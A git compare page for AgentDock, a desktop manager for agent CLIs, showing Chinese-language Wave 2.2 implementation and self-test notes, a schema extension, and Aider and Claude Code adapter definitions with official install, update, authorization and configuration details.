Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b19efef0f3 | ||
|
|
0cec468ae6 | ||
|
|
b0d7124170 | ||
|
|
4a2be5899d | ||
|
|
dd5a9378d2 | ||
|
|
a2fd5e369b |
Generated
+1
@@ -22,6 +22,7 @@ version = "0.1.0"
|
||||
dependencies = [
|
||||
"serde",
|
||||
"serde_json",
|
||||
"serde_yaml",
|
||||
"toml 0.8.2",
|
||||
]
|
||||
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
# AgentDock Wave 2.2 实现说明
|
||||
|
||||
基线:工位 git `wave-2.1` tag(d2e9de1,即 HEL-137 交付的 `agentdock-wave-2.1-source.zip`)。
|
||||
本波对应老板复验 Wave 2.1 后提的 4 条「可用性」硬要求,逐条解决如下。
|
||||
|
||||
## 1. 安装输出实时滚动 + 失败提示人话化
|
||||
|
||||
**根因**:旧 `run_streaming` 先读 stdout、读完后才读 stderr,且主循环只在一行到达时才检查取消。导致 stderr 内容全部延迟到进程结束才一次性上屏(老板所见「最后才显示结果和中间过程」)。
|
||||
|
||||
**修复**(`crates/agentdock-core/src/process.rs`):
|
||||
- `run_streaming` / `run_streaming_cancellable` 改为**两条读取线程并发**消费 stdout/stderr,经 mpsc 通道按到达顺序实时回调,主循环用 `recv_timeout(200ms)` 兜底(静默期也能响应取消)。
|
||||
- 新增 `resolve_exe`(PATH 解析到 .exe/.cmd/.bat 实际路径)、`run_with_stdin`(API Key 经 stdin 注入官方登录命令)、`run_terminal`(CREATE_NEW_CONSOLE 一次性终端窗口)、`open_with_shell`(explorer/xdg-open 打开文件或 URL)。
|
||||
- `RunningProcess` 提供 `request_cancel` / `cancel_flag`;`kill` 在 Windows 用 `taskkill /T /F` 杀整棵进程树,避免 `.cmd` 包装的 node 子进程变孤儿。
|
||||
|
||||
**人话化错误映射**(`crates/agentdock-core/src/errors_zh.rs`):
|
||||
- `program not found` → 「未找到 X 命令:需要先安装 Y(可在本机环境区一键安装)」+ `missing_runtime`(npm→node、python→python、git、winget、uv…)。
|
||||
- 网络超时/连接拒绝/DNS、磁盘不足、权限不足等均映射为中文建议。
|
||||
- 原始报错保留在 `raw`,事件 `data` 携带结构化 `ErrorHint { code, friendly_zh, raw, missing_runtime }`(`ActionEvent::error_hint`)。
|
||||
|
||||
**前端**(`pages/CliDetail.tsx`):失败态默认展示人话版,原始报错折叠可展开;`missing_runtime` 时给内联「去安装 Node.js」按钮,直达本机环境区一键安装(联动第 3 条)。
|
||||
|
||||
## 2. 软件内授权(PRD FR-06)
|
||||
|
||||
**引擎**(`crates/agentdock-core/src/engine.rs`):
|
||||
- 新增 `Engine::authorize_stream` + `cancel_authorize` + 会话注册表(可取消进程句柄)。
|
||||
- 四类流程:
|
||||
- `api_key`:有官方命令时(如 codex `login --with-api-key`)从密钥库读 key 经 stdin 注入;无命令(opencode)仅核对密钥库。
|
||||
- `browser_oauth`:后台运行官方登录命令,流式回传、可取消、结束后刷新授权状态。
|
||||
- `device_code`:运行官方命令,`parse_device_code` 解析 `user_code` + `verification_url`(ANSI 去色 + 正则),大号验证码上屏。
|
||||
- `local_tui`:`run_terminal` 打开一次性本机终端窗口,结束只回传脱敏成败状态。
|
||||
- 全程不记录令牌明文,日志/状态只存枚举;输出经 `redact` 脱敏。
|
||||
|
||||
**前端**(`components/AuthPanel.tsx`):配置页「授权 / 登录」第一层从说明文字升级为可操作流程——每个授权方式一个「开始授权」按钮,弹「授权进行中」面板(可取消),设备码大号展示 + 一键复制 + 「打开授权网页」,结束后即时刷新授权状态灯。
|
||||
|
||||
## 3. 本机环境一键安装 + 修总览诊断
|
||||
|
||||
**运行时来源表**(`crates/agentdock-core/src/runtime_install.rs`):
|
||||
- 内置 node/python/git/winget/uv 官方来源(download_url + download_page + size_approx + elevate_needed + allowed_hosts)。
|
||||
- `is_url_host_allowed` 白名单校验(安全红线);`download_with_curl` 用系统 curl.exe 下载。
|
||||
|
||||
**IPC**(`src-tauri/src/commands/runtime.rs`):`previewRuntimeInstall` / `installRuntime`(下载→打开安装向导,进度经 `runtime-install-event` 回传)/ `openRuntimePage`(官网兜底)。
|
||||
|
||||
**前端**(`components/RuntimeInstallModal.tsx` + `pages/Overview.tsx`):本机环境未安装项变「安装」按钮 → 弹确认框(官方来源/体积/权限)→ 下载并打开安装向导;失败或不可直接安装时兜底「打开官方下载页」。
|
||||
|
||||
**修诊断**:新增 `diagnoseAll` IPC(对全部已装工具跑诊断),总览「立即诊断」(诊断卡 + 快速操作两处)都接上,弹全量诊断汇总。
|
||||
|
||||
## 4. 总览加载闪烁
|
||||
|
||||
- `hooks/useDetectAll.ts` / `useEnv.ts`:检测结果**模块级本地缓存**——切页回来先用缓存立即渲染,后台静默刷新。
|
||||
- `pages/Overview.tsx`:检测未完成(首次、无缓存)时显示**骨架屏**「正在检测本机 CLI…」,绝不显示「工具箱是空的」;该文案仅在检测完成且确实零安装时出现。
|
||||
|
||||
## 涉及文件
|
||||
|
||||
- Rust:`process.rs`、`errors_zh.rs`(新)、`runtime_install.rs`(新)、`engine.rs`、`types.rs`、`lib.rs`(core);`commands/cli.rs`、`commands/runtime.rs`(新)、`commands/mod.rs`、`lib.rs`(desktop);`secrets/src/keyring.rs`(加真机往返测试)。
|
||||
- 前端:`ipc/index.ts`、`ipc/types.ts`、`components/AuthPanel.tsx`(新)、`components/RuntimeInstallModal.tsx`(新)、`components/ConfigForm.tsx`、`pages/CliDetail.tsx`、`pages/Overview.tsx`、`hooks/useDetectAll.ts`、`hooks/useEnv.ts`、`styles/global.css`。
|
||||
|
||||
未引入任何新依赖(下载用系统 curl.exe、打开用 explorer.exe、任务树终止用 taskkill)。
|
||||
@@ -2,8 +2,20 @@
|
||||
|
||||
跨平台、中文化、可扩展的 Agent CLI 软件管理器。帮助用户发现、安装、更新、配置、授权和排查 Agent CLI。
|
||||
|
||||
**本仓库当前为 Wave 0 状态**:桌面应用空壳可运行(Tauri 2 + React 19 + TypeScript + Vite),含设计 Token、
|
||||
八层 Rust crate 骨架、适配器目录骨架、Windows 本机环境检测与 SQLite 空库。
|
||||
## 入库说明
|
||||
|
||||
本仓库为 AgentDock 的**入库初版**。当前进度做到 **Wave 2.2**(五件套全链路打通 + 两轮返工完成),
|
||||
来源为此前各波施工的工位仓库。分支 `main` 的提交历史保留各波次 tag:
|
||||
|
||||
- `wave-0`:Tauri2 + React 桌面应用空壳可运行,Windows 本机环境检测
|
||||
- `wave-1`:适配器框架与安全基座(schema 校验 / dry-run / exec 沙箱 / 密钥库 / 日志脱敏)
|
||||
- `wave-0.5`:4K 布局与空态修复(老板验收 15 条,视觉规范 v1.3)
|
||||
- `wave-2`:五件套打通全链路(安装/检测/配置/授权/诊断)
|
||||
- `wave-2.1`:返工黑屏/安装进度/官方配置三层/文档深度/真机列表
|
||||
- `wave-2.2`:流式安装输出、软件内授权四模式、本机环境一键装与总览缓存
|
||||
|
||||
**本仓库当前为 Wave 2.2 状态**:五件套(发现/安装/配置/授权/诊断)全链路打通,含流式安装输出、软件内
|
||||
四种授权方式、本机环境一键安装与总览缓存。已过总工真机审核并部署到桌面。
|
||||
|
||||
## 仓库结构
|
||||
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
# AgentDock Wave 2.2 自测记录
|
||||
|
||||
## 构建与测试
|
||||
|
||||
- `cargo test`:**97 通过 / 0 失败**(基线 Wave 2.1 为 78,本波 +19;另有 7 个 `--ignored` 真机用例)。
|
||||
- 前端 `npm run build`(tsc + vite):通过,无类型错误。
|
||||
- `tauri dev` 实机启动:窗口正常打开,控制台出现 `[agentdock] window-ready`(无崩溃)。
|
||||
|
||||
## 4 条要求逐条自证
|
||||
|
||||
### 1. 安装输出实时滚动(留证:时间戳)
|
||||
|
||||
运行交错输出 stdout/stderr 的命令,记录每行到达时间(`cargo test -p agentdock-core real_machine_streaming_evidence -- --ignored --nocapture`):
|
||||
|
||||
```
|
||||
[ 173ms] stdout out1
|
||||
[ 177ms] stderr err1
|
||||
[ 591ms] stdout out2
|
||||
[ 591ms] stderr err2
|
||||
[ 995ms] stdout out3
|
||||
[ 995ms] stderr err3
|
||||
[ 1402ms] stdout out4
|
||||
[ 1402ms] stderr err4
|
||||
```
|
||||
|
||||
stderr 在 stdout 结束前**交错实时到达**(旧实现会等 stdout 全部读完才输出 stderr,即结尾回放)。断言 `first_stderr_idx < last_stdout_idx` 通过。另附总览截图 `shot-overview-wave22.png`(1920×1080,窗口已打开)。
|
||||
|
||||
人话化映射:单元测试覆盖 `program_not_found→Node`、`permission_denied`、`network_timeout`、`disk_full`、兜底 `exec_failed`(`errors_zh` 6 例全过);`ActionEvent::error_hint` 携带结构化 `ErrorHint`(含 `missing_runtime`)已测。
|
||||
|
||||
### 2. 软件内授权(留证:codex 设备码到出码步骤)
|
||||
|
||||
真机跑 `codex login --device-auth`,8 秒后自动取消(走到出码即可,不要求真实账号完成最后一步):
|
||||
|
||||
```
|
||||
=== codex 设备码流程(到出码步骤) ===
|
||||
验证链接: https://auth.openai.com/codex/device
|
||||
设备码: BGBY-I9EY2
|
||||
```
|
||||
|
||||
断言链接指向官方域名、设备码非空均通过;取消时 `taskkill /T /F` 正确终止整棵进程树(日志可见「成功: 已终止 PID …」)。设备码解析(含 ANSI 去色)另有 2 个单元测试。真机密钥库往返(Windows Credential Manager,写假 key→读回一致→删除清理)通过。
|
||||
|
||||
### 3. 本机环境一键安装 + 诊断
|
||||
|
||||
- `runtime_install`:来源表白名单校验(`is_url_host_allowed` 精确/子域/伪造域名)6 例单元测试通过;`previewRuntimeInstall` / `openRuntimePage` / `installRuntime`(curl 下载→explorer 打开向导→失败兜底官网)已接线。**未做**:真实下载 30MB+ 安装包并走完安装向导(会弹 UAC,工位不宜真装;代码路径已就位,UI 确认/白名单/兜底逻辑已测)。
|
||||
- 总览「立即诊断」:`diagnoseAll` 对全部已装工具跑四类诊断并弹汇总,已接两处入口。**未做**:真机点按截图(留给总工真机 GUI 复核)。
|
||||
|
||||
### 4. 总览加载闪烁
|
||||
|
||||
- `useDetectAll` / `useEnv` 模块级缓存:切页先用缓存渲染、后台刷新;首检(无缓存)显示骨架屏,空态文案仅在检测完成且零安装时出现。逻辑已实现并通过前端 build。
|
||||
|
||||
## 未测到 / 待真机复核
|
||||
|
||||
- 真实下载大安装包并走完安装向导(需 UAC,工位不做)。
|
||||
- 浏览器 OAuth 全流程到真实登录完成(本机 codex 已登录,为避免覆盖现有会话未真跑完整登录;`browser_oauth` 路径与设备码共用同一套流式/取消/状态刷新机制,且设备码流程已真机走通)。
|
||||
- Linux 分支(本波依旧只 Windows)。
|
||||
- 总工真机 GUI 逐页点按复核(本卡截图由全屏截取,AI 读图受限,以真机复核为准)。
|
||||
@@ -82,6 +82,7 @@
|
||||
"properties": {
|
||||
"homepage": { "type": "string", "format": "uri" },
|
||||
"docs": { "type": "string", "format": "uri" },
|
||||
"icon": { "type": "string", "format": "uri", "description": "官方图标地址(识别/许可说明与本地打包来源,不热链)" },
|
||||
"allowed_hosts": {
|
||||
"type": "array",
|
||||
"items": { "type": "string" },
|
||||
@@ -136,7 +137,17 @@
|
||||
"type": "string",
|
||||
"enum": ["npm_update", "self_update_cmd", "channel_reinstall", "winget_upgrade", "pypi_upgrade", "manual"]
|
||||
},
|
||||
"command": { "type": "array", "items": { "type": "string" } }
|
||||
"command": { "type": "array", "items": { "type": "string" } },
|
||||
"source": {
|
||||
"type": "object",
|
||||
"additionalProperties": false,
|
||||
"required": ["kind"],
|
||||
"properties": {
|
||||
"kind": { "type": "string", "enum": ["npm", "pypi", "github"] },
|
||||
"package": { "type": "string", "description": "npm / pypi 包名" },
|
||||
"repo": { "type": "string", "description": "GitHub 仓库 owner/repo" }
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"uninstall": {
|
||||
@@ -166,6 +177,22 @@
|
||||
"notes_zh": { "type": "string" }
|
||||
}
|
||||
}
|
||||
},
|
||||
"credential_files": {
|
||||
"type": "array",
|
||||
"items": { "type": "string" },
|
||||
"description": "登录态/OAuth 凭据文件或目录(存在任一即视为已授权,如 kimi-code ~/.kimi-code/credentials)"
|
||||
},
|
||||
"test": {
|
||||
"type": "object",
|
||||
"additionalProperties": false,
|
||||
"required": ["url"],
|
||||
"properties": {
|
||||
"url": { "type": "string", "format": "uri", "description": "测试连通端点 URL" },
|
||||
"key_header": { "type": "string", "description": "API Key 注入头名(如 x-api-key / Authorization)" },
|
||||
"bearer": { "type": "boolean", "default": false, "description": "Authorization 头是否带 Bearer 前缀" },
|
||||
"extra_headers": { "type": "array", "items": { "type": "string" }, "description": "额外请求头" }
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
@@ -182,7 +209,12 @@
|
||||
"properties": {
|
||||
"path": { "type": "string", "description": "支持 ~ 与平台变量" },
|
||||
"format": { "type": "string", "enum": ["toml", "json", "jsonc", "yaml", "env", "crushrc"] },
|
||||
"scope": { "type": "string", "enum": ["user", "project", "system"] }
|
||||
"scope": { "type": "string", "enum": ["user", "project", "system"] },
|
||||
"platforms": {
|
||||
"type": "array",
|
||||
"items": { "type": "string", "enum": ["windows", "linux"] },
|
||||
"description": "适用平台;空数组 = 全平台适用(同一 CLI 不同平台路径不同时用于按平台选型)"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
@@ -214,7 +246,24 @@
|
||||
"type": { "type": "string", "enum": ["string", "url", "enum", "bool"] },
|
||||
"storage": { "type": "string", "enum": ["file", "env", "keyring"], "description": "keyring 永不进普通备份" },
|
||||
"platforms": { "type": "array", "items": { "type": "string", "enum": ["windows", "linux"] } },
|
||||
"docs_url": { "type": "string", "format": "uri" }
|
||||
"docs_url": { "type": "string", "format": "uri" },
|
||||
"options": {
|
||||
"type": "array",
|
||||
"description": "enum 类型的可选值(value + 中文名)",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"additionalProperties": false,
|
||||
"required": ["value", "label_zh"],
|
||||
"properties": {
|
||||
"value": { "type": "string" },
|
||||
"label_zh": { "type": "string" }
|
||||
}
|
||||
}
|
||||
},
|
||||
"group": {
|
||||
"type": "string",
|
||||
"description": "表单分组:auth(授权/登录)| common(常用配置)| advanced(高级配置,默认折叠)"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -236,6 +285,8 @@
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"quickstart_zh": { "type": "string" },
|
||||
"install_zh": { "type": "string", "description": "安装说明(中文)" },
|
||||
"auth_zh": { "type": "string", "description": "授权说明(中文)" },
|
||||
"commands": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
@@ -247,9 +298,41 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"params": {
|
||||
"type": "array",
|
||||
"description": "常用参数(中文)",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"param": { "type": "string" },
|
||||
"desc_zh": { "type": "string" }
|
||||
}
|
||||
}
|
||||
},
|
||||
"updated_at": { "type": "string", "format": "date" },
|
||||
"risks_zh": { "type": "array", "items": { "type": "string" } }
|
||||
}
|
||||
},
|
||||
"models": {
|
||||
"type": "object",
|
||||
"additionalProperties": false,
|
||||
"description": "该 CLI 可加载的模型(模型列表来源:CLI 自带列举命令或适配器按官方文档维护的清单)",
|
||||
"properties": {
|
||||
"command": { "type": "array", "items": { "type": "string" }, "description": "CLI 自带的模型列举命令(如 agent --list-models)" },
|
||||
"list": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"additionalProperties": false,
|
||||
"required": ["id"],
|
||||
"properties": {
|
||||
"id": { "type": "string" },
|
||||
"label_zh": { "type": "string" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"definitions": {
|
||||
|
||||
+142
-21
@@ -1,28 +1,149 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
||||
# configuration # files[] / environment[] / fields[]
|
||||
# diagnostics # [ { rule_id } ]
|
||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
||||
#
|
||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
||||
# AgentDock 适配器 · Aider(aider.chat)(Wave 3)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||
# 注意:官方独立安装器 aider-install / PyPI aider-chat;不走 brew;独立 Python 3.12 环境。
|
||||
# ============================================================
|
||||
id: aider
|
||||
name: Aider
|
||||
name_zh: Aider
|
||||
vendor: aider.chat
|
||||
status: available
|
||||
adapter_version: 1.1.0
|
||||
license: Apache-2.0
|
||||
|
||||
platforms:
|
||||
windows:
|
||||
architectures: [x64]
|
||||
notes: 官方 PS 脚本 / PyPI;独立 Python 3.12 环境
|
||||
linux:
|
||||
distributions: [ubuntu]
|
||||
architectures: [x64]
|
||||
|
||||
official:
|
||||
homepage: https://aider.chat
|
||||
docs: https://aider.chat/docs/
|
||||
allowed_hosts: [aider.chat, pypi.org, github.com]
|
||||
|
||||
runtime_deps:
|
||||
- id: uv
|
||||
semver_range: ">=0"
|
||||
required_for: [install]
|
||||
- id: python
|
||||
semver_range: ">=3.12"
|
||||
required_for: [run]
|
||||
|
||||
install:
|
||||
preferred: official_script
|
||||
channels:
|
||||
- id: official_script
|
||||
platforms: [windows]
|
||||
script:
|
||||
url: https://aider.chat/install.ps1
|
||||
kind: powershell_irm
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: official_script
|
||||
platforms: [linux]
|
||||
script:
|
||||
url: https://aider.chat/install.sh
|
||||
kind: bash_pipe
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
- id: pypi_uv
|
||||
platforms: [windows, linux]
|
||||
command: [uv, tool, install, aider-chat]
|
||||
package: aider-chat
|
||||
elevate: never
|
||||
post_checks: [detect]
|
||||
|
||||
detect:
|
||||
executable: aider
|
||||
version_args: ["--version"]
|
||||
|
||||
update:
|
||||
method: pypi_upgrade
|
||||
command: [uv, tool, upgrade, aider-chat]
|
||||
source:
|
||||
kind: pypi
|
||||
package: aider-chat
|
||||
|
||||
uninstall:
|
||||
method: package_manager
|
||||
command: [uv, tool, uninstall, aider-chat]
|
||||
keep_config_default: true
|
||||
|
||||
authorization:
|
||||
modes:
|
||||
- mode: api_key
|
||||
env_keys: [ANTHROPIC_API_KEY, OPENAI_API_KEY]
|
||||
notes_zh: 仅 API Key:各家模型 Key(Anthropic / OpenAI 等)
|
||||
|
||||
# 配置机制(调研底稿 Aider 章节):YAML。用户级 ~/.aider.conf.yml(项目级 .aider.conf.yml)。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.aider.conf.yml"
|
||||
format: yaml
|
||||
scope: user
|
||||
environment:
|
||||
- key: ANTHROPIC_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
fields:
|
||||
- id: model
|
||||
label_zh: 主模型
|
||||
group: common
|
||||
help_zh: 官方键 model,Aider 主模型(如 anthropic/claude-sonnet-4)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
docs_url: https://aider.chat/docs/configuration/aider_conf.html
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 ANTHROPIC_API_KEY / OPENAI_API_KEY 等环境变量)
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://aider.chat/docs/configuration/api-keys.html
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
- rule_id: path.not_in_path
|
||||
- rule_id: dependency.uv
|
||||
- rule_id: dependency.python_below_min
|
||||
- rule_id: version_conflict.multiple_copies
|
||||
- rule_id: config.corrupt
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后配置 API Key,在项目目录运行 `aider`,或用 `aider --message "提示词"` 无头执行。
|
||||
install_zh: 推荐官方独立安装器 aider-install(Windows 用 install.ps1 / Linux 用 install.sh,自动装独立 Python 3.12 环境);也可用 PyPI `uv tool install aider-chat`。不走 brew。
|
||||
auth_zh: 仅 API Key:各家模型 Key(ANTHROPIC_API_KEY / OPENAI_API_KEY 等),保存后经环境变量注入。
|
||||
commands:
|
||||
- cmd: aider
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: aider --message "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
- cmd: aider --model <模型>
|
||||
desc_zh: 指定模型
|
||||
- cmd: aider --version
|
||||
desc_zh: 显示版本号
|
||||
- cmd: aider --yes
|
||||
desc_zh: 自动接受所有建议
|
||||
params:
|
||||
- param: --message / --msg
|
||||
desc_zh: 无头单次执行
|
||||
- param: --model
|
||||
desc_zh: 指定模型
|
||||
- param: --yes
|
||||
desc_zh: 自动接受所有建议
|
||||
- param: --edit-format
|
||||
desc_zh: 编辑格式
|
||||
- param: --chat-mode
|
||||
desc_zh: 会话模式
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 不走 brew(官方不推荐,安装路径与依赖易出问题)
|
||||
- 官方独立安装器自动装独立 Python 3.12 环境,本适配器声明 uv/python 依赖仅针对 PyPI 渠道
|
||||
- 项目级 .aider.conf.yml 与多 provider 高级配置本表单不覆盖,以官方文档为准
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器 · Anthropic Claude Code(Wave 2 全字段)
|
||||
# AgentDock 适配器 · Anthropic Claude Code(Wave 2.1)
|
||||
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md §2 + 架构 §3.3
|
||||
# ============================================================
|
||||
id: claude-code
|
||||
@@ -7,7 +7,7 @@ name: Claude Code
|
||||
name_zh: Claude Code
|
||||
vendor: Anthropic
|
||||
status: available
|
||||
adapter_version: 1.0.0
|
||||
adapter_version: 1.1.0
|
||||
license: 专有(仅官方渠道安装、不重打包、不修改二进制)
|
||||
|
||||
platforms:
|
||||
@@ -22,7 +22,7 @@ platforms:
|
||||
official:
|
||||
homepage: https://claude.ai
|
||||
docs: https://code.claude.com/docs/en/setup
|
||||
allowed_hosts: [claude.ai, registry.npmjs.org, github.com]
|
||||
allowed_hosts: [claude.ai, registry.npmjs.org, github.com, api.anthropic.com]
|
||||
|
||||
runtime_deps: []
|
||||
|
||||
@@ -57,6 +57,9 @@ detect:
|
||||
update:
|
||||
method: winget_upgrade
|
||||
command: [winget, upgrade, Anthropic.ClaudeCode]
|
||||
source:
|
||||
kind: npm
|
||||
package: "@anthropic-ai/claude-code"
|
||||
|
||||
uninstall:
|
||||
method: package_manager
|
||||
@@ -71,7 +74,15 @@ authorization:
|
||||
- mode: api_key
|
||||
env_keys: [ANTHROPIC_API_KEY]
|
||||
notes_zh: 设置 ANTHROPIC_API_KEY 后 CLI 优先使用 API Key
|
||||
test:
|
||||
url: https://api.anthropic.com/v1/models
|
||||
key_header: x-api-key
|
||||
extra_headers:
|
||||
- "anthropic-version: 2023-06-01"
|
||||
|
||||
# 配置机制(调研底稿 §2「配置机制」):用户级 ~/.claude/settings.json(JSON)
|
||||
# 官方确认:settings.json 内 env 块可注入环境变量;ANTHROPIC_API_KEY / ANTHROPIC_BASE_URL /
|
||||
# ANTHROPIC_AUTH_TOKEN / ANTHROPIC_CUSTOM_HEADERS;默认模型经 /model 命令调整(非 settings.json 字段)。
|
||||
configuration:
|
||||
files:
|
||||
- path: "~/.claude/settings.json"
|
||||
@@ -81,31 +92,46 @@ configuration:
|
||||
- key: ANTHROPIC_API_KEY
|
||||
sensitive: true
|
||||
maps_to_field: api_key
|
||||
- key: ANTHROPIC_BASE_URL
|
||||
sensitive: false
|
||||
maps_to_field: base_url
|
||||
- key: ANTHROPIC_AUTH_TOKEN
|
||||
sensitive: true
|
||||
maps_to_field: auth_token
|
||||
fields:
|
||||
- id: model
|
||||
label_zh: 默认模型
|
||||
help_zh: Claude Code 使用的默认模型
|
||||
required: false
|
||||
sensitive: false
|
||||
type: string
|
||||
storage: file
|
||||
- id: env.ANTHROPIC_BASE_URL
|
||||
label_zh: Base URL
|
||||
help_zh: 自定义 API 端点 / 网关 / 代理(写入 settings.json 的 env 块)
|
||||
group: advanced
|
||||
help_zh: 官方环境变量 ANTHROPIC_BASE_URL,写入 settings.json 的 env 块(自定义 API 端点/网关/代理)
|
||||
required: false
|
||||
sensitive: false
|
||||
type: url
|
||||
storage: file
|
||||
docs_url: https://code.claude.com/docs/en/env-vars
|
||||
- id: api_key
|
||||
label_zh: API Key
|
||||
help_zh: 存入系统密钥库(对应 ANTHROPIC_API_KEY)
|
||||
group: auth
|
||||
help_zh: 存入系统密钥库(对应 ANTHROPIC_API_KEY),设置后优先于订阅登录
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://code.claude.com/docs/en/env-vars
|
||||
- id: auth_token
|
||||
label_zh: Bearer 令牌
|
||||
group: auth
|
||||
help_zh: 可选,存入系统密钥库(对应 ANTHROPIC_AUTH_TOKEN,Bearer 头);一般用户无需填写
|
||||
required: false
|
||||
sensitive: true
|
||||
type: string
|
||||
storage: keyring
|
||||
docs_url: https://code.claude.com/docs/en/env-vars
|
||||
|
||||
models:
|
||||
list:
|
||||
- id: claude-sonnet-4
|
||||
label_zh: Claude Sonnet 4
|
||||
- id: claude-opus-4
|
||||
label_zh: Claude Opus 4
|
||||
- id: claude-haiku-4
|
||||
label_zh: Claude Haiku 4
|
||||
|
||||
diagnostics:
|
||||
- rule_id: path.not_installed
|
||||
@@ -115,13 +141,38 @@ diagnostics:
|
||||
|
||||
documentation:
|
||||
quickstart_zh: 安装后运行 `claude` 登录,或用 `claude -p "提示词"` 无头执行。
|
||||
install_zh: 推荐 winget(`winget install Anthropic.ClaudeCode`);也可走官方 PowerShell 脚本(irm https://claude.ai/install.ps1)或 npm(`@anthropic-ai/claude-code`,Node 22+)。
|
||||
auth_zh: ① 浏览器 OAuth:运行 `claude` 按提示登录(Pro/Max/Team/Enterprise/Console 账号;免费版不含 Claude Code);② API Key:设置 ANTHROPIC_API_KEY 后 CLI 优先使用(非交互 -p 模式下有 key 即直接使用)。
|
||||
commands:
|
||||
- cmd: claude
|
||||
desc_zh: 启动交互式会话
|
||||
- cmd: claude -p "提示词"
|
||||
desc_zh: 无头单次执行
|
||||
desc_zh: 无头单次执行(--print)
|
||||
- cmd: claude -p "提示词" --output-format json
|
||||
desc_zh: 结构化 JSON 输出
|
||||
- cmd: claude --allowedTools "Bash(git:*)"
|
||||
desc_zh: 预授权指定工具
|
||||
- cmd: claude --continue
|
||||
desc_zh: 续接最近的会话
|
||||
- cmd: claude --resume <会话ID>
|
||||
desc_zh: 恢复指定会话
|
||||
- cmd: claude doctor
|
||||
desc_zh: 环境诊断
|
||||
updated_at: "2026-08-24"
|
||||
- cmd: claude --version
|
||||
desc_zh: 显示版本号
|
||||
params:
|
||||
- param: -p / --print
|
||||
desc_zh: 非交互模式,执行后退出
|
||||
- param: --output-format
|
||||
desc_zh: 输出格式(text / json / stream-json)
|
||||
- param: --json-schema
|
||||
desc_zh: 约束输出为指定 JSON Schema
|
||||
- param: --allowedTools
|
||||
desc_zh: 预授权工具列表
|
||||
- param: --bare
|
||||
desc_zh: 极简启动模式
|
||||
updated_at: "2026-08-25"
|
||||
risks_zh:
|
||||
- 专有许可:只引导官方渠道安装,不重打包、不修改二进制
|
||||
- 专有许可:只引导官方渠道安装,不重打包、不修改二进制、不代付费
|
||||
- 原生 Windows 无沙箱功能,需要沙箱请使用 WSL2(以官方文档为准)
|
||||
- 默认模型经 /model 命令调整,非 settings.json 字段,故本表单未提供模型字段
|
||||
|
||||
+119
-21
@@ -1,28 +1,126 @@
|
||||
# ============================================================
|
||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
||||
#
|
||||
# 完整字段(全部留空占位,Wave 2 填写):
|
||||
# adapter_version # semver,如 1.2.0
|
||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
||||
# update # method + command[]
|
||||
# uninstall # method + command[] + keep_config_default
|
||||
